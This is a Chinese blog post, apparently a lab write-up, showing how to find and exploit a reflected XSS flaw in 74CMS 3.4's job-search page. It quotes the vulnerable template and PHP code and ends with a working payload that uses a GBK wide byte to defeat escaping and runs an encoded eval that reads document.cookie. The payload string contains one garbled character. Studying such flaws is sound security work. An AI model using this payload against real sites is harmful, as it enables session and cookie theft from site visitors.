74CMS 3.4 反射型XSS漏洞

版权声明:本文为博主原创文章,未经博主允许不得转载! https://blog.csdn.net/qq_36374896/article/details/84839747

一、 启动环境

1.双击运行桌面phpstudy.exe软件
在这里插入图片描述
2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件
在这里插入图片描述
2.因为74CMS3.4源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK
在这里插入图片描述
3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧templates\default目录,弹出的下拉列表中双击jobs-list.htm文件,右侧页面可以看到相关代码。

<script type="text/javascript">
	var getstr="{#$smarty.get.category#},{#$smarty.get.subclass#},{#$smarty.get.district#},{#$smarty.get.sdistrict#},{#$smarty.get.settr#},{#$smarty.get.trade#},{#$smarty.get.wage#},{#$smarty.get.nature#},{#$smarty.get.scale#},{#$smarty.get.inforow#}";
	var defaultkey="请输入职位名称、公司名称{#if $QISHI.jobsearch_type=='1'#}、技能特长、学校等{#/if#}关键字...";
	var getkey="{#$smarty.get.key#}";
	if (getkey=='')
	{
	getkey=defaultkey;
	}
	allaround('{#$QISHI.site_template#}','{#$QISHI.site_dir#}','{#"QS_jobslist"|qishi_url#}',getkey,getstr);
</script>

2.这段JavaScript代码主要作用是获取GET传输过来的key参数,然后如果参数不为空则将数据发送到allaround()函数。现在存在一个问题,如果key参数可以闭合getkey变量的双引号,然后接着在后面输入JavaScript代码,就会造成xss执行。 3. 现在就需要知道哪个文件调用这个模板文件,经过查看可以发现主页搜索框,当点击搜索的时候页面会跳转到/plus/ajax_search_location.php

define('IN_QISHI', true);
require_once(dirname(dirname(__FILE__)).'/include/plus.common.inc.php');
$act = !empty($_GET['act']) ? trim($_GET['act']) : 'QS_jobslist';
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$_GET['key']=utf8_to_gbk($_GET['key']);
}
unset($_GET['act']);
$_GET=array_map("rawurlencode",$_GET);
$url=url_rewrite($act,$_GET);
unset($_GET);
exit($url);
?>

3.这个文件最后会经过url_rewrite函数跳转到/jobs/jobs-list.php文件,该函数最后进行初始化模板文件

define('IN_QISHI', true);
$alias="QS_jobslist";
require_once(dirname(__FILE__).'/../include/common.inc.php');
if($mypage['caching']>0){
        $smarty->cache =true;
		$smarty->cache_lifetime=$mypage['caching'];
	}else{
		$smarty->cache = false;
	}
$cached_id=$_CFG['subsite_id']."|".$alias.(isset($_GET['id'])?"|".(intval($_GET['id'])%100).'|'.intval($_GET['id']):'').(isset($_GET['page'])?"|p".intval($_GET['page'])%100:'');
if(!$smarty->is_cached($mypage['tpl'],$cached_id))
{
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
unset($dbhost,$dbuser,$dbpass,$dbname);
$smarty->display($mypage['tpl'],$cached_id);
$db->close();
}
else
{
$smarty->display($mypage['tpl'],$cached_id);
}
unset($smarty);
?>

4.最后初始化模板文件/templates/default/job-list.htm,JavaScript代码获取到get.key参数。现在需要注意一个问题,因为JavaScript并不是从前端直接获取的key参数,是通过后端文件一步步传送到达,所以如果直接添加双引号会被转义掉,所以需要先使用%df”把反斜线给“吃掉”,然后才能闭合双引号。

漏洞利用

1.访问主页,然后在搜索框输入

1%df%22;eval(St?ring.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));

//其中1%df%22;是为了把前面双引号闭合,后面eval函数是把字符串当做Js代码执行,String.fromCharCode()接受一个指定的 Unicode 值,然后返回一个字符串。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_36374896/article/details/84839747
3.4